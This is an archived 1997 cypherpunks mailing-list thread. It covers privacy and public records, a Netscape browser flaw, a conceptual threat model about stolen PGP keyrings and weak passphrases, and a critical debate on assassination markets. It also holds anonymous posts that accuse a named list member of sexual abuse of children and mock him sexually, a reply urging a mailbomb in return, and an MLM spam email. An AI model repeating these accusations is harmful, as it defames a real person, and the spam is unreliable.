>> anyone has the right to snoop my machines and see what I have there
>> is NOT cool.  What I leave on my computer is my private business,
>> and NOBODY HAS THE RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether
>> or not they have root.

>I'm not saying that people have a "right to surf (?) it without your
>permission." That's a violation of your property rights, a trespass.
>But if you connect to my web site, I should be allowed to record
>whatever info leaks from your computer. Don't like it? Cut the flow
>or don't come.

"Trespass" is a misleading term.  The person "trespassing" doesn't
have to leave their chair.

What really happens is that somebody sets up a machine that will
transmit information when it receives certain combinations of bits.
Then the machine is made available to the whole world.

It is most reasonable to put the burden for security on the person who
wants to make their machine available to the whole world.

The legal approach has several problems.

1. It is ineffective and gives a false sense of security.

2. It undermines the demand for secure machinery.  (Intentional: the
people in governments believe secure machinery threatens their
positions.)

3. It brings up problems with borders and seignority.

4. Such laws are expensive to enforce if we are to observe legal
customs like "innocent until proven guilty."

5. The legal prohibitions break down under the very circumstances when
we most want our systems to remain secure: times of war and times of
social unrest or revolution.

Panther Modern






From whgiii at amaranth.com  Sat Jun 14 07:12:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 22:12:55 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <199706141405.JAA25820@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/13/97 
   at 02:16 PM, Ray Arachelian  said:

>On Fri, 13 Jun 1997, William H. Geiger III wrote:

>> Ray you seem to be missing the point here.

>Bzzzt:
> 
>> Any state issued permit is public record. This includes your drivers
>> license and your auto registration.

>Should it include your address and phone number?

Yes

>> It is imperative that in a democracy that the public know who and what the
>> state is giving permits to (there whole other issue of wether the state
>> should be issuing permits at all but that should be left to another
>> thread).

>> In a free and open society the public must be able to review the actions
>> of its government.

>Then we don't live in an open and free society.  Do we have open records
>into what the CIA and NSA and such do? etc.?  Very few. 
>

Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
flimsy straw man. All the documants being discused are on the state and
local level. They do not have "national security" that they can hide
behinde.

 
>> If Joe Sixpack has run over 20 people because he gets his kicks out of it
>> and the DMV still issues him a license the public has a right to know.

>But should the public know Joe's phone number and address and date of
>birth?  Gee, weren't we screaming this sucks to easily accessible Texas
>DMV records a few days ago?

YOU may have been screaming about it I was not.

>> If the state is going to issue permits on what people can and can not do
>> the it is crutial that the public can examine these records to insure that
>> the state is not abusing this power.

>See CIA comment above.  What of the likes of TRW, and health records?
>Should these be open knowledge to anyone who is a credit card agent or
>health insurance co?  If it is vital to have this info to keep the
>governments in check, why does the government have privacy?  If the
>government has privacy, why shouldn't we?  Neither do we, nor the
>government have absolute privacy, however, the government controls the
>information it deems to keep private.  Why should we not do the same?

>Should detailed building plans be made available of all buildings so that
>theives can look at them and break into banks more easily?  Perhaps there
>are reasons some of these things are available to the public.  Perhaps
>there are reasons why not all should be.

Look Ray I answered all this in my previous post.

You have two choices you can take the Libertarian view of a minimal
governement where all it's actions are reveiwable by it's citizens or you
can take the Statest view of big governemtn where all is's actions are
hidden and all "solutions" are more regulation and biger government.

The whole privacy issue is a strawman proped up by the government to
frighten the sheeple so they can pass their agenda. What's their agenda?
To have a series of privacy laws they can hide behind to keep their
actions hidden from public view.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6KmKI9Co1n+aLhhAQE56wQAskQH55tdy1zmcVplKau06ZbAKyVKgaFb
L8PULoOlxTcmtWBoGv2Rcu6hnzc9K/w8g5v9GsRVsYl5WG/+nJRsV2r7E6LTBnao
glxAkzZcNjbM/ihD67XueXOn7ObbdNVMyeOv/FXMdUidlVeoKqJtXWlHpO7BYJjy
s+xyclr3EPk=
=nFID
-----END PGP SIGNATURE-----






From adam at homeport.org  Sat Jun 14 07:41:06 1997
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 1997 22:41:06 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <199706141428.KAA12341@homeport.org>




| >Tim's post (although refuted by Marc) raises some serious issues since I
| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

	Are FAT file lists stored as files?

	On a Unix box, /. refers to the file containing directory
entries, the list of files in the directory.  If there is an analogous
file on a dos box, you can explore.  (Does the bug work on Unix?  I've
heard it only works if java or livescript are turned on, so it hasn't
worried me enough to investigate.)

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From dlv at bwalk.dm.com  Sat Jun 14 07:44:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 22:44:18 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

>
> > He still misunderstands my position. I'm saying you have no property right
> > in information others collect about you.
>
> There is no such thing as intellectual property rights period. All
> patents and copyrights are violations of free speech, technology is the
> only way to protect so called "intellectual property"...

I fully agree.  Technology or good marketing (you can have my software
for free, but you need to pay for "support")

> > Great. You want Congress to pass a law that says "Netscape shall release
> > no more buggy browsers." Yeah, and mandate that pi is 3.14, right?
>
> No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)...
> BTW, I`m pretty sure it was pi=3.2 on that bill.

I think it was exactly 3, like it says in the Bible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Sat Jun 14 07:44:56 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 22:44:56 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: <199706141436.JAA26144@mailhub.amaranth.com>



In <97Jun13.180309edt.32257 at brickwall.ceddec.com>, on 06/13/97 
   at 06:03 PM, tzeruch at ceddec.com said:

>On Fri, 13 Jun 1997, Ray Arachelian wrote:

>> On Fri, 13 Jun 1997, William H. Geiger III wrote:
>> 
>> > Any state issued permit is public record. This includes your drivers
>> > license and your auto registration.
>> 
>> Should it include your address and phone number?
>> 
>> > It is imperative that in a democracy that the public know who and what the
>> > state is giving permits to (there whole other issue of wether the state
>> > should be issuing permits at all but that should be left to another
>> > thread).

>One important distinction:

>If the state issues me a permit, they probably have a right to the
>information pertaining to the permit, e.g. they do need the make, model,
>year, and similar information about the car to issue a title or
>registration.  If they are issuing state ID, they need to know that I am
>me in order to issue it.  They don't need to place my mother's maiden
>name into the record although I think it appears on my birth certificate,
>and would cause problems since this is used as an informal password.  My
>driver's license is a permit to drive, not a permit to be me.  You can
>make a case for the database containing my age, but date of birth?  Much
>of what appears is not necessary for the purpose stated. 

>So are you making the case for having the state ask every detail about
>your life and being able to place it in the licensing database, or only
>answers to those questions relevant to issuing the license?

I would say only the relevant info for issuing a license. This is not to
say that the license should be anonymous. If the government is going to
issue a license/permit then the citizens have a right to know who these
license/permits are issued to.

Ray and some others are mixing several issues:

-- Should the State be involved in issueing these permits?

-- Should the information be public?

-- How should the information be used if it is public?

I woun't go into the fist one as I don't want to get off on a tangent.

As for the second one yes the information should be public and yes it will
have to containe enough personal information so that I or anyone else can
verify that the State is doing what they say they are. A good example of
this is voting registrations in Chicago. It has long been known as the
"most democratic city in the country, even the dead can vote".

The third one is the one that is causing people the most greif. If as I
contend with the second question that this info should and *must* be made
public then there is nothing that can be done here. Public information is
public information. What I or anyone else does with that information once
it becomes public is no ones bussines but my own. 

Because some people do things you don't like with this *public* info is
not an excuse for passing draconian laws and closing government action
from public view. This is the type of argumants that the government uses
against us on crypto (the four horseman), it is the same type of argument
that is used everytime the governement wants to shit on another part of
the constitution. Someone may or maynot do somthing we don't like so we
are going to pass some laws and restrict the rights of the citizens even
more. The saddest part is the sheeple thank them for it.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------






From kent at songbird.com  Sat Jun 14 07:51:47 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 14 Jun 1997 22:51:47 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <19970614074032.37364@bywater.songbird.com>



On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
[...]
>
>You have two choices you can take the Libertarian view of a minimal
>governement where all it's actions are reveiwable by it's citizens or you
>can take the Statest view of big governemtn where all is's actions are
>hidden and all "solutions" are more regulation and biger government.

The consistent libertarian/anarchist view of this would be that the
privacy or non-privacy of records is completely determined by contract
between the person supplying the information and the agency collecting
it.  For example, a medical license would be granted by agencies that 
granted such licenses.  If you wanted a license from a particular agency 
you would deal with them.  The value of the license is determined by 
the reputation of the agency, not whether or not they give out 
doctors home addresses.

>The whole privacy issue is a strawman proped up by the government to
>frighten the sheeple so they can pass their agenda. What's their agenda?
>To have a series of privacy laws they can hide behind to keep their
>actions hidden from public view.

An amusing example of a conspiracy theory.  You are pretty good at 
these, you know.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at amaranth.com  Sat Jun 14 07:58:35 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 22:58:35 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <199706141440.JAA26190@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/13/97 
   at 04:57 PM, Rich Graves  said:

>-----BEGIN PGP SIGNED MESSAGE-----

>Ray Arachelian  wrote:

>> Should detailed building plans be made available of all buildings so that
>> theives can look at them and break into banks more easily? Perhaps there
>> are reasons some of these things are available to the public. Perhaps
>> there are reasons why not all should be.

>Yeah. We'd better criminalize publishing computer security exploits, too.
> Some information is just too damn dangerous. 

>If there is no public record of stuff like real estate, how are we
>supposed to know who owns what? Whoever's got the biggest gun?

Well I for one want to know if the mayor's brother-in-law is getting all
the road contract's or if Sludge, Inc. is buying up large tracks of land
by my house.

I am really amazed how if one pushes the right button so many self
proclaimed "Libertarians" turn "Statest"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6KuZo9Co1n+aLhhAQEqzgQAmQ9FWUzMnN542zodW8jLmgnNW53/Gec3
Zr1gjWml+B5yaeYnUHMAJGTgAqQhhuqT2+D99aXOyPkWcAkfGeTSx5m8VcsTdiiX
gxmZT2aS46U8RkCVm5TrqRu6Xk05cyDqxxbcmD9xnMWH5paxzVJlh5jzEk7bNzYh
K4WoJzU7QmA=
=ogDN
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Sat Jun 14 07:58:41 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 22:58:41 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <199706141448.JAA26269@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970613201551.40314 at bywater.songbird.com>, on 06/13/97 
   at 08:15 PM, Kent Crispin  said:

>On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
>> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>> >Awwww, Caaa'monnn.
>> >
>> >You mean they can license handguns, but not reporters???
>> 
>> Indeed, it is strange. What part of "Congress shall make no law" do they
>> not understand?

>The second amendment does not include that phrase.  The first  amendment
>does.  Perhaps they understand it a great deal better than  you:


>                            Amendment I

>Congress shall make no law respecting an establishment of religion, or
>prohibiting the free exercise thereof; or abridging the freedom of
>speech, or of the press; or the right of the people peaceably to
>assemble, and to petition the Government for a redress of grievances. 

>                           Amendment II

>A well regulated Militia, being necessary to the security of a free
>State, the right of the people to keep and bear Arms, shall not be
>infringed. 

Which part of "shall not be infringed" don't you understand Kent??

Some rights more equal than others?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6KwP49Co1n+aLhhAQGr5AP/SBW/LaUJSN2ITPrfl1l1Ya4xa03BOJml
+eYMr/0XNQe+oUym8XQ0rFOWVRn2o2auFKntMlOyYEF2Ac5Cy/D9cwi0e+lsmz99
zVodO6PRG1Gqe/cUrq3N4dW8Cm3wxOEJJXSwvChQeGAIPiDjz5csgR/6c5M7MI2j
6rCqVOKUOHQ=
=u/q3
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Sat Jun 14 08:04:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 23:04:14 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: <19970614074032.37364@bywater.songbird.com>
Message-ID: <199706141455.JAA26358@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614074032.37364 at bywater.songbird.com>, on 06/14/97 
   at 07:40 AM, Kent Crispin  said:

>On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
>[...]
>>
>>You have two choices you can take the Libertarian view of a minimal
>>governement where all it's actions are reveiwable by it's citizens or you
>>can take the Statest view of big governemtn where all is's actions are
>>hidden and all "solutions" are more regulation and biger government.

>The consistent libertarian/anarchist view of this would be that the
>privacy or non-privacy of records is completely determined by contract
>between the person supplying the information and the agency collecting
>it.  For example, a medical license would be granted by agencies that 
>granted such licenses.  If you wanted a license from a particular agency 
>you would deal with them.  The value of the license is determined by  the
>reputation of the agency, not whether or not they give out  doctors home
>addresses.

This is fine if the licensing is being done in the private sector. If it
is being done by the government then it must be public. You can not have a
democracy if everything the governmnet does is hidden from the citizens it
is to server.

>>The whole privacy issue is a strawman proped up by the government to
>>frighten the sheeple so they can pass their agenda. What's their agenda?
>>To have a series of privacy laws they can hide behind to keep their
>>actions hidden from public view.

>An amusing example of a conspiracy theory.  You are pretty good at 
>these, you know.  :-)

No conspiracy Kent just SOP for the government. I believe the current
phrase is "spin-doctoring". Anyone who has spent any time watching how
governemnt works knows that quite often they will create a "problem" for
the sole purpose of providing a "solution".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6KxtY9Co1n+aLhhAQG4pQQAs5wbcmE1MekiPkVnbJsICLL7eyf3JwZK
oIAFEqsoa+eRvPYMVJSdlerefvmrCqfMYiOqixrCTFQJQ9re/TDtRwfGTJWHqE8W
Jh/3QvjgeMva9Phl7K0efZ06abeaSRIKMWcnbJikad720TGHKp2sVGlsn5die0yP
X18Plk6V2Hk=
=Wxck
-----END PGP SIGNATURE-----






From 65188000 at 22151.com  Sat Jun 14 23:09:28 1997
From: 65188000 at 22151.com (65188000 at 22151.com)
Date: Sat, 14 Jun 1997 23:09:28 -0700 (PDT)
Subject: PLEASE DON'T PASS THIS UP
Message-ID: <199702170025.GAA08056@lconn.net>





NEW ON THE NET.

Wouldn't you have liked to have been part of the first group to join Amway in the 60s, or purchased stock from a small company called Wal-Mart in the 70s, or invested in a small computer chip maker called Intel in the 80s.

Anybody that made the choices above are sitting pretty well at the moment
Here in the 90s, a new company was launched on the Internet, Sunday June 1st  This young company has positioned itself to be among the major players for years to come.

This is NOT a get rich quick scheme.
This is simply a new company, with fresh ideas.  A a new company that people
are going to hear a lot about.

If you would like to become a part of all the excitement, and learn more,
simply send a blank e-mail to success02 at megd.com
Please put the words "MORE INFO" in the subject field.  You will be sent
complete info in seconds

THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.

Just send a blank e-mail to success02 at megd.com for a fast reply








From real at freenet.edmonton.ab.ca  Sat Jun 14 09:40:22 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 15 Jun 1997 00:40:22 +0800
Subject: [ADMINISTRATIVIUM] ZKP
In-Reply-To: <199706141102.NAA10524@basement.replay.com>
Message-ID: 



On Sat, 14 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C. Mayo is not only as queer as a three 
> dollar bill, but he is also into having sex with 
> children.
> 
>   (((>     /<
>  (        /
>   ((({{{{{:<  Timothy C. Mayo
>           \
>            \<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From paul at fatmans.demon.co.uk  Sat Jun 14 09:46:53 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 15 Jun 1997 00:46:53 +0800
Subject: Impact of Netscape kernel hole (fwd)
Message-ID: 




>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>Some coherent input on the possible impact of this would be appreciated.

Basically the threat model is very simple:

Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
to go through most of the common places.

The very same guy probably has a password that is:

A. FRED (notice how close the letters are, this is a real dumb-ass 
password of the century)

B. His wifes name

C. Her birthday

D. The name of his favourite film or some character from it...


Can you say "dictionary attack"???. 

I must admit I personally, against all the rules, keep my pgp secret key 
on this box. This doesn`t worry be greatly because:

1. I have a strong passphrase.
2. This box is only on dialup, so is not connected for long, and I VERY 
rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for 
getting files. This corresondingly reduces the risk of me having used a 
site that exploited this hole.
3. If I ever have anything to recieve that needs to be really secure I 
use a one time key pair, so even the RSA key is one time. Most PGP mail I 
send or recieve is fairly innocuous and the use of encryption is just 
precautionary, ie. to stop nosy sysadmins.

What it basically comes down to is that Joe Sixpack, the guy most likely 
to have his key compromised by this attack, is:

1. Not likely to be sending valuable enough mail to expend time mounting 
even a simple dictionary attack on his key.

2. The least likely to know about, understand or respond to this flaw.


So basically the threat is the usual one: The stupid will get caught. If 
you are sending highly criminal mail your key shouldn`t be on any machine 
not 12 feet underground in a concrete bunker with 24 hour fully trusted 
security guards, CCTV etc. etc. anyway.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks at Algebra.COM  Sat Jun 14 09:55:10 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Sun, 15 Jun 1997 00:55:10 +0800
Subject: This is NOT trespassing.
Message-ID: <199706141643.MAA001.36@butternut.nist.gov>



Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  

P.S. sure is hard to tell what's "blue" these days.






From nobody at huge.cajones.com  Sat Jun 14 10:48:13 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 15 Jun 1997 01:48:13 +0800
Subject: [ANNOUNCEMENT] Forgery detection
Message-ID: <199706141738.KAA10002@fat.doobie.com>



Timmy May studied yoga back-streching exercises for five 
years so he could blow himself (nobody else will).

            ,,,
       -ooO(o o)Ooo- Timmy May
            (_)






From nfn04017 at gator.naples.net  Sat Jun 14 10:50:59 1997
From: nfn04017 at gator.naples.net (Pilgrim)
Date: Sun, 15 Jun 1997 01:50:59 +0800
Subject: Democratic Assassination
In-Reply-To: 
Message-ID: 



>> There is something fundamentally wrong with a society that is built upon
>> the notion that those people who do and say unpopular things deserve death.
>
>Not necessarily. No-one here would begin to suggest that AP *should* be
>used for censorship purposes, to say that AP is a censorship tool is a
>misunderstanding based on that old enemy material determinism. A gun can
[...lots more other stuff that revolve around this point...]

This is true. Just because AP exists, doesn't immediately imply that it can
become a tool for censorship. It was, after all, intended to be used as a
tool to get rid of 'bad' people.

But the human beings are funny, in a way....and inordinately
creative....how many tools has technology given us, that human beings use
to kill each other. You can blame it on government if you wish, but human
beings have been killing each other long before large sprawling governments
existed.

We are very good at taking tools and using them for evil purposes...to kill
and maim one another.

So, as you have said, does this mean that we should eliminate all tools,
just because they should be used for evil purposes? As you have mentioned,
this is an insane notion. It can't be done, and ought not to be done. If it
were, I wouldn't be able to mow my lawn later on this afternoon :-)

So we should keep hammers, and axes, and cars, etc, regardless of the fact
that they could be used for evil purposes. So, what is so different about
AP?

Technology is a wonderous thing. It lets us do things more quickly, more
conveniently. I like my computer. It helps me to do things much faster, and
more accurately, than I could do them myself.

So there is something that greatly disturbs me when we merge the speed and
efficiency of technology with something as horrific as death. Indeed it has
already been done...(lemme digress for a little while)...I remember all of
the press conferences that were held during the Gulf War, when the United
States military was showing off its flashy high tech toys, which allowed
our fighters to blow things up from a very safe distance. We saved a lot of
"the good guy's" lives that way...our troops didn't encounter much blood at
all. But perhaps war ought not to be so clean....perhaps war should be
brutal and messy and bloody and costly...not because blood and guts and
horror and terror are good things, but because war is, in and of itself, a
horrific thing...and this technology blinds us to that fact....in an
attempt to make war "clean" with technology, we have only blinded
ourselves...and thus war becomes a little too easy for my own liking.

(...almost done digressing...)

Though I am not a rabid fan of Star Trek, I recall one episode that seems
to illustrate my point. The scene was set in some star system, with these
two worlds that had been at war for ages. However, these two planets had
become so 'evolved' that they used technology to greatly tidy up the mess
of war. The war was fought entirely in a computer simulation, and those
people who were killed were notified of that fact, upon which they walked
to the nearest disintegration chamber and were disintegrated. No blood. No
guts. No horror. Very 'civil'. Thus the war never really ended, because it
turned out to be 'not so bad,' regardless of the fact that scores of people
were still dying. The human toll was immense, though everyone involved was
completely blinded to that fact.

The episode ends with the Enterprise inadvertantly 'foiling' the system,
forcing the people of both worlds to face the horror of war square in the
face.

(...I'm done digressing now...)

I think there are great similarities between high-tech war and AP. Both are
very 'tidy' ways to kill people, at great distances from unseen locations,
without having to deal with the negative reprocussions of the act. They
both make killing a little too clean. They both make it easy for us to
dehumanize our targets, so that what we're killing is not really another
human being, but some object....some nuisance that must be destroyed.

If I kill someone with a hammer, or a gun, there is a certain level of
commitment that I have to make. I have to deal with the dehumanization. I
have to deal risk being caught. **I** have to do it.

Personally, I find it would find it hard to dehumanize someone when I put a
gun to their head and read the look of terror in their face. I would find
it hard to commit the act, knowing that there is a manifold number of ways
that I could be caught. Furthermore, I know I could not deal with the
responsibility of killing someone afterwards.

But AP is a nice neat solution to this. It makes killing very tidy, and
minimizes my own responsibility. I can use it to easily fool myself into
thinking that I'm really not resposible for killing a human
being....rather...I simply got rid of a nuisance...a source of pain....I
can think of it more akin to squashing a bug on a wall, rather than ending
someone's life.

Killing people is horrific and should remain that way..lest killing becomes
a little too easy...and once killing people becomes as easy as buying a
newspaper, who knows people will do with it. AP is way too easy for my
liking.


>> Even if digital cash, anonymous remailers and strong encryption could
>> enable us to set up a democratic system of assassination (which it
>> couldn't)...
>
>Expand on this please, if you believe anonymous digital assasination
>markets are not possible from a technical point of view please explain why...

My point was not that anonymous digital assasination was not possible...but
rather, the notion of such a mechanism being democratic is incorrect. If it
were democratic, there would be some sort of referendum...some sort of vote
being taken...and if enough people vote no, then it wouldn't take place.

This mechanism is not democratic, in the sense that, in order for a killing
to take place...one doesn't need a majority...one only needs enough
resources. If a couple of billionaires decide to knock off a young
entrepenuir (sp), they can do it very easily, and don't need to ask
anyone's permission.

In my mind, the notion of this mechanism being democratic was the only
****REMOTELY**** redeeming characteristic about this whole thing...and my
argument is that this system isn't even democratic. To make it work, one
doesn't need enough people and enough consenting opinions, simply enough
resources. While the two are sometimes related, they aren't always.

>
>> I still wouldn't want to live in a society where killing is
>> democratized...I do not want to live in a society where people can
>> abitrarily take a vote on whether I should live or die....
>
>You do live in such a society, if the government decides to fuck you over
>and manages somehow to make a muder charge stick 12 randomly selected
>people can decide whether you live or die. If you say something unpopular
>you can be assasinated.

This is a nasty truth.....so do I want this power expanded?

Scenario:
I'm very active in Christian outreach and evangelism. I move into a small
town of 20000 people and start a ministry there. I have success there, and
therefore greatly upset a fair portion of the town.

Now, the chances of a man in black from Washington DC to knock me off are
relatively small, compared to the chances of a couple of bigshots around
town arranging my murder using AP. This goes back to the point about AP
making killing a touch too easy.

If the government has the power to easily assassinate me for being
unpopular, this is a bad thing....but it doesn't lead me to conclude that
more people should have this kind of power....because I fear that rather
than this becoming a tool to fight oppression....it will simply become a
tool to kill people we don't like...politicians or janitors.

>
>> And maybe...just maybe...he is just as big a victim of "The Machine" as you
>> are.
>
>This is a difficult point to even contemplate as having any basis in
>reality. Do you know any police officer (lets make that more specific
>and say DEA inspector) who is a victim? Do you know of any possibility,
>no matter how remote, that someone delegated the task of beating
>confessions out of suspects is a "victim" himself?

It's a long story, and I can't go into it much without probably angering
many people on this listserv....but the roots of this idea begin in some
fundamental beliefs about people that I, being a committed Christian, carry
with me. If you care to get the full sermon, lemme know and I'll send you a
personal email.


>> Justice rarely comes out of hatred.
>
>I agree, it is rarely productive to hate your enemy, but it is often a
>natural reaction...

I agree, it is a natural reaction. I'm as guilty of it as the next
guy...though it's being worked out of me...SLOWLY :-D

Take Care,
Pilgrim







From jamesd at echeque.com  Sat Jun 14 11:03:10 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Sun, 15 Jun 1997 02:03:10 +0800
Subject: FCPUNX:There's no general right to privacy -- get over it, from Netly
Message-ID: <199706141749.KAA22637@proxy4.ba.best.com>



At 02:27 PM 6/13/97 -0400, tzeruch at ceddec.com wrote:
> Today the Nazi's would simply pay Experian (was TRW) for their databases. 
> I think the IRS already does. 

I do not see private organizations bothering to collect data on racial
identity, except where they are compelled to by the government.

>
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From jamesd at echeque.com  Sat Jun 14 11:03:29 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Sun, 15 Jun 1997 02:03:29 +0800
Subject: FCPUNX:Flag Burning...
Message-ID: <199706141749.KAA22463@proxy4.ba.best.com>



On 13 Jun 97 at 1:20, RS wrote:
> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.


Who is that most gravely desecrates the American flag?

Those who burn it, spit on it, shit on it?

Or those who violate the principles for which it stands?
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From jamesd at echeque.com  Sat Jun 14 11:05:31 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Sun, 15 Jun 1997 02:05:31 +0800
